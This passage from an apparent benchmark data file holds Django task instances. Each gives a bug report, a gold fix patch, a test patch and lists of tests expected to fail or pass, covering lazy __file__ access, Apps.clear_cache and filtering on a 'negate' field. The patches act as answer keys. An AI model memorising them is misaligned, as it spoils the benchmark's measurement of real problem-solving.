(admin_widgets.tests.ForeignKeyRawIdWidgetTest)", "test_render_fk_as_pk_model (admin_widgets.tests.ForeignKeyRawIdWidgetTest)", "test_render_unsafe_limit_choices_to (admin_widgets.tests.ForeignKeyRawIdWidgetTest)", "test_m2m_related_model_not_in_admin (admin_widgets.tests.ManyToManyRawIdWidgetTest)", "test_render (admin_widgets.tests.ManyToManyRawIdWidgetTest)", "Ensure the user can only see their own cars in the foreign key dropdown.", "test_changelist_ForeignKey (admin_widgets.tests.AdminForeignKeyWidgetChangeList)", "File widgets should render as a link when they're marked \"read only.\"", "test_render (admin_widgets.tests.AdminFileWidgetTests)", "test_render_disabled (admin_widgets.tests.AdminFileWidgetTests)", "test_render_required (admin_widgets.tests.AdminFileWidgetTests)", "test_invalid_target_id (admin_widgets.tests.AdminForeignKeyRawIdWidget)", "test_label_and_url_for_value_invalid_uuid (admin_widgets.tests.AdminForeignKeyRawIdWidget)", "test_nonexistent_target_id (admin_widgets.tests.AdminForeignKeyRawIdWidget)", "test_url_params_from_lookup_dict_any_iterable (admin_widgets.tests.AdminForeignKeyRawIdWidget)", "test_url_params_from_lookup_dict_callable (admin_widgets.tests.AdminForeignKeyRawIdWidget)"], "environment_setup_commit": "647480166bfe7532e8c471fef0146e3a17e6c0c9"}, {"repo": "django/django", "instance_id": "django__django-13841", "base_commit": "cfe47b7686df0c4c87270a83d6d7f933323ed7e6", "patch": "diff --git a/django/contrib/auth/password_validation.py b/django/contrib/auth/password_validation.py\n--- a/django/contrib/auth/password_validation.py\n+++ b/django/contrib/auth/password_validation.py\n@@ -8,7 +8,7 @@\n from django.core.exceptions import (\n FieldDoesNotExist, ImproperlyConfigured, ValidationError,\n )\n-from django.utils.functional import lazy\n+from django.utils.functional import cached_property, lazy\n from django.utils.html import format_html, format_html_join\n from django.utils.module_loading import import_string\n from django.utils.translation import gettext as _, ngettext\n@@ -167,9 +167,14 @@ class CommonPasswordValidator:\n https://gist.github.com/roycewilliams/281ce539915a947a23db17137d91aeb7\n The password list must be lowercased to match the comparison in validate().\n \"\"\"\n- DEFAULT_PASSWORD_LIST_PATH = Path(__file__).resolve().parent / 'common-passwords.txt.gz'\n+\n+ @cached_property\n+ def DEFAULT_PASSWORD_LIST_PATH(self):\n+ return Path(__file__).resolve().parent / 'common-passwords.txt.gz'\n \n def __init__(self, password_list_path=DEFAULT_PASSWORD_LIST_PATH):\n+ if password_list_path is CommonPasswordValidator.DEFAULT_PASSWORD_LIST_PATH:\n+ password_list_path = self.DEFAULT_PASSWORD_LIST_PATH\n try:\n with gzip.open(password_list_path, 'rt', encoding='utf-8') as f:\n self.passwords = {x.strip() for x in f}\ndiff --git a/django/forms/renderers.py b/django/forms/renderers.py\n--- a/django/forms/renderers.py\n+++ b/django/forms/renderers.py\n@@ -7,8 +7,6 @@\n from django.utils.functional import cached_property\n from django.utils.module_loading import import_string\n \n-ROOT = Path(__file__).parent\n-\n \n @functools.lru_cache()\n def get_default_renderer():\n@@ -33,7 +31,7 @@ def get_template(self, template_name):\n def engine(self):\n return self.backend({\n 'APP_DIRS': True,\n- 'DIRS': [ROOT / self.backend.app_dirname],\n+ 'DIRS': [Path(__file__).parent / self.backend.app_dirname],\n 'NAME': 'djangoforms',\n 'OPTIONS': {},\n })\ndiff --git a/django/utils/version.py b/django/utils/version.py\n--- a/django/utils/version.py\n+++ b/django/utils/version.py\n@@ -77,6 +77,10 @@ def get_git_changeset():\n This value isn't guaranteed to be unique, but collisions are very unlikely,\n so it's sufficient for generating the development version numbers.\n \"\"\"\n+ # Repository may not be found if __file__ is undefined, e.g. in a frozen\n+ # module.\n+ if '__file__' not in globals():\n+ return None\n repo_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n git_log = subprocess.run(\n 'git log --pretty=format:%ct --quiet -1 HEAD',\ndiff --git a/django/views/debug.py b/django/views/debug.py\n--- a/django/views/debug.py\n+++ b/django/views/debug.py\n@@ -26,7 +26,15 @@\n libraries={'i18n': 'django.templatetags.i18n'},\n )\n \n-CURRENT_DIR = Path(__file__).parent\n+\n+def builtin_template_path(name):\n+ \"\"\"\n+ Return a path to a builtin template.\n+\n+ Avoid calling this function at the module level or in a class-definition\n+ because __file__ may not exist, e.g. in frozen environments.\n+ \"\"\"\n+ return Path(__file__).parent / 'templates' / name\n \n \n class ExceptionCycleWarning(UserWarning):\n@@ -248,11 +256,11 @@ class ExceptionReporter:\n \n @property\n def html_template_path(self):\n- return CURRENT_DIR / 'templates' / 'technical_500.html'\n+ return builtin_template_path('technical_500.html')\n \n @property\n def text_template_path(self):\n- return CURRENT_DIR / 'templates' / 'technical_500.txt'\n+ return builtin_template_path('technical_500.txt')\n \n def __init__(self, request, exc_type, exc_value, tb, is_email=False):\n self.request = request\n@@ -534,7 +542,7 @@ def technical_404_response(request, exception):\n module = obj.__module__\n caller = '%s.%s' % (module, caller)\n \n- with Path(CURRENT_DIR, 'templates', 'technical_404.html').open(encoding='utf-8') as fh:\n+ with builtin_template_path('technical_404.html').open(encoding='utf-8') as fh:\n t = DEBUG_ENGINE.from_string(fh.read())\n reporter_filter = get_default_exception_reporter_filter()\n c = Context({\n@@ -553,7 +561,7 @@ def technical_404_response(request, exception):\n \n def default_urlconf(request):\n \"\"\"Create an empty URLconf 404 error response.\"\"\"\n- with Path(CURRENT_DIR, 'templates', 'default_urlconf.html').open(encoding='utf-8') as fh:\n+ with builtin_template_path('default_urlconf.html').open(encoding='utf-8') as fh:\n t = DEBUG_ENGINE.from_string(fh.read())\n c = Context({\n 'version': get_docs_version(),\n", "test_patch": "diff --git a/tests/version/tests.py b/tests/version/tests.py\n--- a/tests/version/tests.py\n+++ b/tests/version/tests.py\n@@ -1,17 +1,37 @@\n+from unittest import skipUnless\n+\n+import django.utils.version\n from django import get_version\n from django.test import SimpleTestCase\n-from django.utils.version import get_complete_version, get_version_tuple\n+from django.utils.version import (\n+ get_complete_version, get_git_changeset, get_version_tuple,\n+)\n \n \n class VersionTests(SimpleTestCase):\n \n def test_development(self):\n+ get_git_changeset.cache_clear()\n ver_tuple = (1, 4, 0, 'alpha', 0)\n # This will return a different result when it's run within or outside\n # of a git clone: 1.4.devYYYYMMDDHHMMSS or 1.4.\n ver_string = get_version(ver_tuple)\n self.assertRegex(ver_string, r'1\\.4(\\.dev[0-9]+)?')\n \n+ @skipUnless(\n+ hasattr(django.utils.version, '__file__'),\n+ 'test_development() checks the same when __file__ is already missing, '\n+ 'e.g. in a frozen environments'\n+ )\n+ def test_development_no_file(self):\n+ get_git_changeset.cache_clear()\n+ version_file = django.utils.version.__file__\n+ try:\n+ del django.utils.version.__file__\n+ self.test_development()\n+ finally:\n+ django.utils.version.__file__ = version_file\n+\n def test_releases(self):\n tuples_to_strings = (\n ((1, 4, 0, 'alpha', 1), '1.4a1'),\n", "problem_statement": "Access __file__ lazily rather than at module level\nDescription\n\t \n\t\t(last modified by William Schwartz)\n\t \nSo-called frozen Python environments (such as those mentioned in #30950) that do not set all modules' \u200b__file__ variable, which \u200bneed not be defined, cannot even import Django (without some workarounds) because a small number of Django modules use __file__ at the module level, in a class defined at the module level, or in a function that is called automatically upon import.\nFive modules that use __file__ like this are likely to be imported when using Django and thereby cause a frozen Python to crash with a NameError or similar exception.\nImporting django.forms.renderers can be avoided only by avoiding both forms and the ORM altogether as it's imported from django.db.models.\nImporting django.views.debug might be avoidable if DEBUG=False or by avoiding all of the views and URLs APIs.\ndjango.utils.version's get_git_changeset is called when django is imported in pre-alpha development versions.\nImporting django.contrib.auth.password_validation is only avoidable by not using the Auth app.\ndjango.utils.translation.trans_real uses __file__ to find Django's localization files upon activation; this avoidable only by setting USE_I18N=False. Dealing with trans_real is sufficiently thorny (and, being an English speaker with English-speaking clients, I can avoid it for now) that I will not address it further here except to say that it might need to be part of the larger discussion at #30950.\nWhat this ticket is not\nI am not proposing removing use of __file__ at this time. That would require a longer discussion of intended semantics such as #30950. This ticket is only about removing use of __file__ at the module (or class definition) level in Django application code (not test code). Further I am not proposing banning use of __file__ at the module level at this time, hence minimal new tests and no update to the Django coding style documentation. That too would require a longer conversation.\nProposed fixes\nI have pushed \u200bPR GH-13841 to address the four of those modules other than trans_real. I dealt with each module's use of __file__ in separate commits to make them easier to discuss and separate/cherry-pick if needed. Below I link to the individual commits as I discuss each of the four modules. These first two are fairly easy, but the second two may require further consideration.\ndjango.forms.renders (\u200b54d539c)\nRemove the undocumented module constant ROOT and replace its single use.\ndjango.utils.version (\u200bf4edc6e)\nTreat the lack of module-global __file__ the same as a failure of git log by returning None from get_git_changeset.\ndjango.views.debug (\u200b07f46b7)\nThe module-level constant CURRENT_DIR is used only in the module itself and is undocumented, so I'm assuming it's an obscure private symbol that no one will miss. I've replaced it with a module-level private function _builtin_template_path that refactors and centralizes finding built-in templates for the entire module.\nThe one tricky part is that #32105 added the html_template_path and text_template_path attributes django.views.debug.ExceptionReporter. I didn't want to disturb #32105's goal of making the template paths easily override-able, so I avoided calling _builtin_template_path in the class definition by making detecting the presence of the attributes in __init__ and setting defaults there. Alternatives include making the attributes properties with setters or cached properties without setters.\ndjango.contrib.auth.password_validation (\u200b24aa80b)\nThe CommonPasswordValidator-class constant DEFAULT_PASSWORD_LIST_PATH is used only in one place, the class's instance constructor. While the nature of DEFAULT_PASSWORD_LIST_PATH is not documented, its existence is inside the docs for the \u200bconstructor's signature. I've changed DEFAULT_PASSWORD_LIST_PATH from a class constant into an instance attribute. Another possibility is making DEFAULT_PASSWORD_LIST_PATH be a django.utils.functional.classproperty.\n", "hints_text": "", "created_at": "2021-01-04T20:40:02Z", "version": "4.0", "FAIL_TO_PASS": ["test_development_no_file (version.tests.VersionTests)"], "PASS_TO_PASS": ["test_development (version.tests.VersionTests)", "test_get_version_invalid_version (version.tests.VersionTests)", "test_get_version_tuple (version.tests.VersionTests)", "test_releases (version.tests.VersionTests)"], "environment_setup_commit": "475cffd1d64c690cdad16ede4d5e81985738ceb4"}, {"repo": "django/django", "instance_id": "django__django-17029", "base_commit": "953f29f700a60fc09b08b2c2270c12c447490c6a", "patch": "diff --git a/django/apps/registry.py b/django/apps/registry.py\n--- a/django/apps/registry.py\n+++ b/django/apps/registry.py\n@@ -373,6 +373,7 @@ def clear_cache(self):\n \n This is mostly used in tests.\n \"\"\"\n+ self.get_swappable_settings_name.cache_clear()\n # Call expire cache on each model. This will purge\n # the relation tree and the fields cache.\n self.get_models.cache_clear()\n", "test_patch": "diff --git a/tests/apps/tests.py b/tests/apps/tests.py\n--- a/tests/apps/tests.py\n+++ b/tests/apps/tests.py\n@@ -197,6 +197,17 @@ def test_get_model(self):\n with self.assertRaises(ValueError):\n apps.get_model(\"admin_LogEntry\")\n \n+ @override_settings(INSTALLED_APPS=SOME_INSTALLED_APPS)\n+ def test_clear_cache(self):\n+ # Set cache.\n+ self.assertIsNone(apps.get_swappable_settings_name(\"admin.LogEntry\"))\n+ apps.get_models()\n+\n+ apps.clear_cache()\n+\n+ self.assertEqual(apps.get_swappable_settings_name.cache_info().currsize, 0)\n+ self.assertEqual(apps.get_models.cache_info().currsize, 0)\n+\n @override_settings(INSTALLED_APPS=[\"apps.apps.RelabeledAppsConfig\"])\n def test_relabeling(self):\n self.assertEqual(apps.get_app_config(\"relabeled\").name, \"apps\")\n", "problem_statement": "Apps.clear_cache() does not clear get_swappable_settings_name cache.\nDescription\n\t\nWe use apps.clear_cache() in django-stubs to be able to reset the previous state on consequential mypy runs.\nCode: \u200bhttps://github.com/typeddjango/django-stubs/pull/1601/files#diff-c49d8fe2cd0a58fad3c36ab3a88c7745e9622f3098e60cd512953eb17b8a1994R63-R64\nBut, looks like we don't clear all the object's cache this way, because get_swappable_settings_name (which is a functools._lru_cache_wrapper) is not cleared.\nI think that this is not correct. .clear_cache doc states: Clear all internal caches, for methods that alter the app registry.\nLooks like that is not the case.\nI propose to add: self.get_swappable_settings_name.cache_clear() line to def clear_cache.\nIf others agree, I will make a PR.\nOriginal discussion: \u200bhttps://github.com/typeddjango/django-stubs/pull/1601#discussion_r1246344533\n", "hints_text": "Thanks for the report, tentatively accepted.", "created_at": "2023-06-29T13:18:26Z", "version": "5.0", "FAIL_TO_PASS": ["test_clear_cache (apps.tests.AppsTests.test_clear_cache)"], "PASS_TO_PASS": ["test_app_default_auto_field (apps.tests.AppConfigTests.test_app_default_auto_field)", "test_default_auto_field_setting (apps.tests.AppConfigTests.test_default_auto_field_setting)", "If single element in __path__, use it (in preference to __file__).", "If the __path__ attr contains duplicate paths and there is no", "If the __path__ attr is empty, use __file__ if set.", "If the __path__ attr is empty and there is no __file__, raise.", "If path set as class attr, overrides __path__ and __file__.", "test_invalid_label (apps.tests.AppConfigTests.test_invalid_label)", "If the __path__ attr is length>1, use __file__ if set.", "If the __path__ attr is length>1 and there is no __file__, raise.", "If there is no __path__ attr, use __file__.", "If there is no __path__ or __file__, raise ImproperlyConfigured.", "If subclass sets path as class attr, no module attributes needed.", "test_repr (apps.tests.AppConfigTests.test_repr)", "A Py3.3+ namespace package with multiple locations cannot be an app.", "Multiple locations are ok only if app-config has explicit path.", "A Py3.3+ namespace package can be an app if it has only one path.", "Tests when INSTALLED_APPS contains an incorrect app config.", "test_duplicate_labels (apps.tests.AppsTests.test_duplicate_labels)", "test_duplicate_names (apps.tests.AppsTests.test_duplicate_names)", "Makes a new model at runtime and ensures it goes into the right place.", "Tests apps.get_app_config().", "Tests apps.get_app_configs().", "apps.get_containing_app_config() should raise an exception if", "Tests apps.get_model().", "App discovery should preserve stack traces. Regression test for #22920.", "Tests apps.is_installed().", "Tests apps.lazy_model_operation().", "Test for behavior when two models clash in the app registry.", "apps.get_models() raises an exception if apps.models_ready isn't True.", "The models in the models.py file were loaded correctly.", "Load an app that doesn't provide an AppConfig class.", "Tests when INSTALLED_APPS contains an app that doesn't exist, either", "test_no_such_app_config (apps.tests.AppsTests.test_no_such_app_config)", "test_no_such_app_config_with_choices (apps.tests.AppsTests.test_no_such_app_config_with_choices)", "Tests when INSTALLED_APPS contains a class that isn't an app config.", "Load an app that provides an AppConfig class.", "Tests the ready property of the main registry.", "test_relabeling (apps.tests.AppsTests.test_relabeling)", "Only one main registry can exist.", "Load an app that provides two AppConfig classes.", "Load an app that provides two AppConfig classes, one being the default.", "Load an app that provides two default AppConfig classes."], "environment_setup_commit": "4a72da71001f154ea60906a2f74898d32b7322a7"}, {"repo": "django/django", "instance_id": "django__django-13251", "base_commit": "b6dfdaff33f19757b1cb9b3bf1d17f28b94859d4", "patch": "diff --git a/django/db/models/query.py b/django/db/models/query.py\n--- a/django/db/models/query.py\n+++ b/django/db/models/query.py\n@@ -204,7 +204,7 @@ def __init__(self, model=None, query=None, using=None, hints=None):\n def query(self):\n if self._deferred_filter:\n negate, args, kwargs = self._deferred_filter\n- self._filter_or_exclude_inplace(negate, *args, **kwargs)\n+ self._filter_or_exclude_inplace(negate, args, kwargs)\n self._deferred_filter = None\n return self._query\n \n@@ -939,7 +939,7 @@ def filter(self, *args, **kwargs):\n set.\n \"\"\"\n self._not_support_combined_queries('filter')\n- return self._filter_or_exclude(False, *args, **kwargs)\n+ return self._filter_or_exclude(False, args, kwargs)\n \n def exclude(self, *args, **kwargs):\n \"\"\"\n@@ -947,9 +947,9 @@ def exclude(self, *args, **kwargs):\n set.\n \"\"\"\n self._not_support_combined_queries('exclude')\n- return self._filter_or_exclude(True, *args, **kwargs)\n+ return self._filter_or_exclude(True, args, kwargs)\n \n- def _filter_or_exclude(self, negate, *args, **kwargs):\n+ def _filter_or_exclude(self, negate, args, kwargs):\n if args or kwargs:\n assert not self.query.is_sliced, \\\n \"Cannot filter a query once a slice has been taken.\"\n@@ -959,10 +959,10 @@ def _filter_or_exclude(self, negate, *args, **kwargs):\n self._defer_next_filter = False\n clone._deferred_filter = negate, args, kwargs\n else:\n- clone._filter_or_exclude_inplace(negate, *args, **kwargs)\n+ clone._filter_or_exclude_inplace(negate, args, kwargs)\n return clone\n \n- def _filter_or_exclude_inplace(self, negate, *args, **kwargs):\n+ def _filter_or_exclude_inplace(self, negate, args, kwargs):\n if negate:\n self._query.add_q(~Q(*args, **kwargs))\n else:\n@@ -983,7 +983,7 @@ def complex_filter(self, filter_obj):\n clone.query.add_q(filter_obj)\n return clone\n else:\n- return self._filter_or_exclude(False, **filter_obj)\n+ return self._filter_or_exclude(False, args=(), kwargs=filter_obj)\n \n def _combinator_query(self, combinator, *other_qs, all=False):\n # Clone the query to inherit the select list and everything\n", "test_patch": "diff --git a/tests/queries/models.py b/tests/queries/models.py\n--- a/tests/queries/models.py\n+++ b/tests/queries/models.py\n@@ -42,6 +42,7 @@ class Note(models.Model):\n note = models.CharField(max_length=100)\n misc = models.CharField(max_length=10)\n tag = models.ForeignKey(Tag, models.SET_NULL, blank=True, null=True)\n+ negate = models.BooleanField(default=True)\n \n class Meta:\n ordering = ['note']\ndiff --git a/tests/queries/tests.py b/tests/queries/tests.py\n--- a/tests/queries/tests.py\n+++ b/tests/queries/tests.py\n@@ -47,7 +47,7 @@ def setUpTestData(cls):\n \n cls.n1 = Note.objects.create(note='n1', misc='foo', id=1)\n cls.n2 = Note.objects.create(note='n2', misc='bar', id=2)\n- cls.n3 = Note.objects.create(note='n3', misc='foo', id=3)\n+ cls.n3 = Note.objects.create(note='n3', misc='foo', id=3, negate=False)\n \n ann1 = Annotation.objects.create(name='a1', tag=cls.t1)\n ann1.notes.add(cls.n1)\n@@ -1216,6 +1216,13 @@ def test_field_with_filterable(self):\n [self.a3, self.a4],\n )\n \n+ def test_negate_field(self):\n+ self.assertSequenceEqual(\n+ Note.objects.filter(negate=True),\n+ [self.n1, self.n2],\n+ )\n+ self.assertSequenceEqual(Note.objects.exclude(negate=True), [self.n3])\n+\n \n class Queries2Tests(TestCase):\n @classmethod\n", "problem_statement": "Filtering on a field named `negate` raises a TypeError\nDescription\n\t\nFiltering on a model with a field named negate raises a TypeError.\nFor example:\nclass Foo(models.Model):\n\tnegate = models.BooleanField()\nFoo.objects.filter(negate=True)\nraises TypeError: _filter_or_exclude() got multiple values for argument 'negate'\nnegate is not documented as a reserved argument for .filter(). I'm currently using .filter(negate__exact=True) as a workaround.\n", "hints_text": "We should either document this limitation or change _filter_or_exclude and friends signature from (negate, *args, **kwargs) to (negate, args, kwargs). I think the second approach is favourable as there's not much benefits in using arguments unpacking in these private methods as long as the public methods filter and exclude preserve their signature.\nAaron, would you be interested in submitting a PR with the changes below plus a regression test in tests/query/tests.py? django/db/models/query.py diff --git a/django/db/models/query.py b/django/db/models/query.py index 07d6ffd4ca..d655ede8d9 100644 a b class QuerySet: 204204 def query(self): 205205 if self._deferred_filter: 206206 negate, args, kwargs = self._deferred_filter 207 self._filter_or_exclude_inplace(negate, *args, **kwargs) 207 self._filter_or_exclude_inplace(negate, args, kwargs) 208208 self._deferred_filter = None 209209 return self._query 210210 \u2026 \u2026 class QuerySet: 939939 set. 940940 \"\"\" 941941 self._not_support_combined_queries('filter') 942 return self._filter_or_exclude(False, *args, **kwargs) 942 return self._filter_or_exclude(False, args, kwargs) 943943 944944 def exclude(self, *args, **kwargs): 945945 \"\"\" \u2026 \u2026 class QuerySet: 947947 set. 948948 \"\"\" 949949 self._not_support_combined_queries('exclude') 950 return self._filter_or_exclude(True, *args, **kwargs) 950 return self._filter_or_exclude(True, args, kwargs) 951951 952 def _filter_or_exclude(self, negate, *args, **kwargs): 952 def _filter_or_exclude(self, negate, args, kwargs): 953953 if args or kwargs: 954954 assert not self.query.is_sliced, \\ 955955 \"Cannot filter a query once a slice has been taken.\" \u2026 \u2026 class QuerySet: 959959 self._defer_next_filter = False 960960 clone._deferred_filter = negate, args, kwargs 961961 else: 962 clone._filter_or_exclude_inplace(negate, *args, **kwargs) 962 clone._filter_or_exclude_inplace(negate, args, kwargs) 963963 return clone 964964 965 def _filter_or_exclude_inplace(self, negate, *args, **kwargs): 965 def _filter_or_exclude_inplace(self, negate, args, kwargs): 966966 if negate: 967967 self._query.add_q(~Q(*args, **kwargs)) 968968 else: \u2026 \u2026 class QuerySet: 983983 clone.query.add_q(filter_obj) 984984 return clone 985985 else: 986 return self._filter_or_exclude(False, **filter_obj) 986 return self._filter_or_exclude(False, args=(), kwargs=filter_obj) 987987 988988 def _combinator_query(self, combinator, *other_qs, all=False): 989989 # Clone the query to inherit the select list and everything\nReplying to Simon Charette: Aaron, would you be interested in submitting a PR with the changes below plus a regression test in tests/query/tests.py? Sure! I can do that this evening. Thanks for the patch :)", "created_at": "2020-07-28T11:59:53Z", "version": "3.2", "FAIL_TO_PASS": ["test_negate_field (queries.tests.Queries1Tests)"], "PASS_TO_PASS": ["test_ticket7371 (queries.tests.CustomPkTests)", "test_no_extra_params (queries.tests.DefaultValuesInsertTest)", "test_ticket_21879 (queries.tests.ReverseM2MCustomPkTests)", "test_invalid_values (queries.tests.TestInvalidValuesRelation)", "test_ticket_7302 (queries.tests.EscapingTests)", "test_emptyqueryset_values (queries.tests.EmptyQuerySetTests)", "test_ticket_19151 (queries.tests.EmptyQuerySetTests)", "test_values_subquery (queries.tests.EmptyQuerySetTests)", "test_ticket14729 (queries.tests.RawQueriesTests)", "test_empty_full_handling_conjunction (queries.tests.WhereNodeTest)", "test_empty_full_handling_disjunction (queries.tests.WhereNodeTest)", "test_empty_nodes (queries.tests.WhereNodeTest)", "test_evaluated_proxy_count (queries.tests.ProxyQueryCleanupTest)", "#13227 -- If a queryset is already evaluated, it can still be used as a query arg", "test_no_fields_cloning (queries.tests.CloneTests)", "test_no_model_options_cloning (queries.tests.CloneTests)", "test_in_list_limit (queries.tests.ConditionalTests)", "test_infinite_loop (queries.tests.ConditionalTests)", "test_double_subquery_in (queries.tests.DoubleInSubqueryTests)", "test_ticket8597 (queries.tests.ComparisonTests)", "test_ticket22023 (queries.tests.Queries3Tests)", "test_ticket7107 (queries.tests.Queries3Tests)", "test_ticket8683 (queries.tests.Queries3Tests)", "test_ticket7872 (queries.tests.DisjunctiveFilterTests)", "test_ticket8283 (queries.tests.DisjunctiveFilterTests)", "test_ticket10432 (queries.tests.GeneratorExpressionTests)", "test_ticket15786 (queries.tests.Exclude15786)", "test_ticket_24278 (queries.tests.TestTicket24279)", "test_tickets_3045_3288 (queries.tests.SelectRelatedTests)", "test_ticket_18785 (queries.tests.Ticket18785Tests)", "test_ticket_14056 (queries.tests.Ticket14056Tests)", "test_invalid_order_by (queries.tests.QuerySetExceptionTests)", "test_invalid_queryset_model (queries.tests.QuerySetExceptionTests)", "test_iter_exceptions (queries.tests.QuerySetExceptionTests)", "test_21001 (queries.tests.EmptyStringsAsNullTest)", "test_direct_exclude (queries.tests.EmptyStringsAsNullTest)", "test_joined_exclude (queries.tests.EmptyStringsAsNullTest)", "test_exists (queries.tests.ExistsSql)", "test_ticket_18414 (queries.tests.ExistsSql)", "test_ticket_21203 (queries.tests.Ticket21203Tests)", "test_annotated_ordering (queries.tests.QuerysetOrderedTests)", "test_cleared_default_ordering (queries.tests.QuerysetOrderedTests)", "test_empty_queryset (queries.tests.QuerysetOrderedTests)", "test_explicit_ordering (queries.tests.QuerysetOrderedTests)", "test_no_default_or_explicit_ordering (queries.tests.QuerysetOrderedTests)", "test_order_by_extra (queries.tests.QuerysetOrderedTests)", "test_reverse_trimming (queries.tests.ReverseJoinTrimmingTest)", "test_empty_string_promotion (queries.tests.EmptyStringPromotionTests)", "test_join_already_in_query (queries.tests.NullableRelOrderingTests)", "test_ticket10028 (queries.tests.NullableRelOrderingTests)", "test_values_in_subquery (queries.tests.ValuesSubqueryTests)", "test_ticket_12807 (queries.tests.Ticket12807Tests)", "test_ticket_24605 (queries.tests.TestTicket24605)", "test_ticket_21787 (queries.tests.ForeignKeyToBaseExcludeTests)", "test_ticket_19964 (queries.tests.RelabelCloneTest)", "test_ticket7778 (queries.tests.SubclassFKTests)", "test_primary_key (queries.tests.IsNullTests)", "test_to_field (queries.tests.IsNullTests)", "test_ticket_22429 (queries.tests.Ticket22429Tests)", "test_double_exclude (queries.tests.NullInExcludeTest)", "test_null_in_exclude_qs (queries.tests.NullInExcludeTest)", "test_ticket_20788 (queries.tests.Ticket20788Tests)", "test_ticket_20101 (queries.tests.Ticket20101Tests)", "test_non_nullable_fk_not_promoted (queries.tests.ValuesJoinPromotionTests)", "test_ticket_21376 (queries.tests.ValuesJoinPromotionTests)", "test_values_no_promotion_for_existing (queries.tests.ValuesJoinPromotionTests)", "test_fk_reuse (queries.tests.JoinReuseTest)", "test_fk_reuse_annotation (queries.tests.JoinReuseTest)", "test_fk_reuse_disjunction (queries.tests.JoinReuseTest)", "test_fk_reuse_order_by (queries.tests.JoinReuseTest)", "test_fk_reuse_select_related (queries.tests.JoinReuseTest)", "test_inverted_q_across_relations (queries.tests.JoinReuseTest)", "test_revfk_noreuse (queries.tests.JoinReuseTest)", "test_revo2o_reuse (queries.tests.JoinReuseTest)", "test_ticket_20955 (queries.tests.Ticket20955Tests)", "test_empty_resultset_sql (queries.tests.WeirdQuerysetSlicingTests)", "test_empty_sliced_subquery (queries.tests.WeirdQuerysetSlicingTests)", "test_empty_sliced_subquery_exclude (queries.tests.WeirdQuerysetSlicingTests)", "test_tickets_7698_10202 (queries.tests.WeirdQuerysetSlicingTests)", "test_zero_length_values_slicing (queries.tests.WeirdQuerysetSlicingTests)", "test_correct_lookup (queries.tests.RelatedLookupTypeTests)", "test_values_queryset_lookup (queries.tests.RelatedLookupTypeTests)", "test_wrong_backward_lookup (queries.tests.RelatedLookupTypeTests)", "test_wrong_type_lookup (queries.tests.RelatedLookupTypeTests)", "test_exclude_plain (queries.tests.ExcludeTest17600)", "test_exclude_plain_distinct (queries.tests.ExcludeTest17600)", "test_exclude_with_q_is_equal_to_plain_exclude (queries.tests.ExcludeTest17600)", "test_exclude_with_q_is_equal_to_plain_exclude_variation (queries.tests.ExcludeTest17600)", "test_exclude_with_q_object_distinct (queries.tests.ExcludeTest17600)", "test_exclude_with_q_object_no_distinct (queries.tests.ExcludeTest17600)", "test_can_combine_queries_using_and_and_or_operators (queries.tests.QuerySetSupportsPythonIdioms)", "test_can_get_items_using_index_and_slice_notation (queries.tests.QuerySetSupportsPythonIdioms)", "test_can_get_number_of_items_in_queryset_using_standard_len (queries.tests.QuerySetSupportsPythonIdioms)", "test_invalid_index (queries.tests.QuerySetSupportsPythonIdioms)", "test_slicing_can_slice_again_after_slicing (queries.tests.QuerySetSupportsPythonIdioms)", "test_slicing_cannot_combine_queries_once_sliced (queries.tests.QuerySetSupportsPythonIdioms)", "test_slicing_cannot_filter_queryset_once_sliced (queries.tests.QuerySetSupportsPythonIdioms)", "test_slicing_cannot_reorder_queryset_once_sliced (queries.tests.QuerySetSupportsPythonIdioms)", "hint: inverting your ordering might do what you need", "test_slicing_with_steps_can_be_used (queries.tests.QuerySetSupportsPythonIdioms)", "test_slicing_with_tests_is_not_lazy (queries.tests.QuerySetSupportsPythonIdioms)", "test_slicing_without_step_is_lazy (queries.tests.QuerySetSupportsPythonIdioms)", "test_ticket12239 (queries.tests.Queries2Tests)", "test_ticket4289 (queries.tests.Queries2Tests)", "test_ticket7759 (queries.tests.Queries2Tests)", "test_ticket_23605 (queries.tests.Ticket23605Tests)", "test_exclude_many_to_many (queries.tests.ManyToManyExcludeTest)", "test_ticket_12823 (queries.tests.ManyToManyExcludeTest)", "test_or_with_both_slice (queries.tests.QuerySetBitwiseOperationTests)", "test_or_with_both_slice_and_ordering (queries.tests.QuerySetBitwiseOperationTests)", "test_or_with_lhs_slice (queries.tests.QuerySetBitwiseOperationTests)", "test_or_with_rhs_slice (queries.tests.QuerySetBitwiseOperationTests)", "test_disjunction_promotion1 (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion2 (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion3 (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion3_demote (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion4 (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion4_demote (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion5_demote (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion6 (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion7 (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion_fexpression (queries.tests.DisjunctionPromotionTests)", "test_disjunction_promotion_select_related (queries.tests.DisjunctionPromotionTests)", "test_in_query (queries.tests.ToFieldTests)", "test_in_subquery (queries.tests.ToFieldTests)", "test_nested_in_subquery (queries.tests.ToFieldTests)", "test_recursive_fk (queries.tests.ToFieldTests)", "test_recursive_fk_reverse (queries.tests.ToFieldTests)", "test_reverse_in (queries.tests.ToFieldTests)", "test_single_object (queries.tests.ToFieldTests)", "test_single_object_reverse (queries.tests.ToFieldTests)", "test_extra_select_literal_percent_s (queries.tests.Queries5Tests)", "test_ordering (queries.tests.Queries5Tests)", "test_ticket5261 (queries.tests.Queries5Tests)", "test_ticket7045 (queries.tests.Queries5Tests)", "test_ticket7256 (queries.tests.Queries5Tests)", "test_ticket9848 (queries.tests.Queries5Tests)", "test_distinct_ordered_sliced_subquery_aggregation (queries.tests.Queries6Tests)", "test_multiple_columns_with_the_same_name_slice (queries.tests.Queries6Tests)", "test_nested_queries_sql (queries.tests.Queries6Tests)", "test_parallel_iterators (queries.tests.Queries6Tests)", "test_ticket3739 (queries.tests.Queries6Tests)", "test_ticket_11320 (queries.tests.Queries6Tests)", "test_tickets_8921_9188 (queries.tests.Queries6Tests)", "test_extra_multiple_select_params_values_order_by (queries.tests.ValuesQuerysetTests)", "test_extra_select_params_values_order_in_extra (queries.tests.ValuesQuerysetTests)", "test_extra_values (queries.tests.ValuesQuerysetTests)", "test_extra_values_list 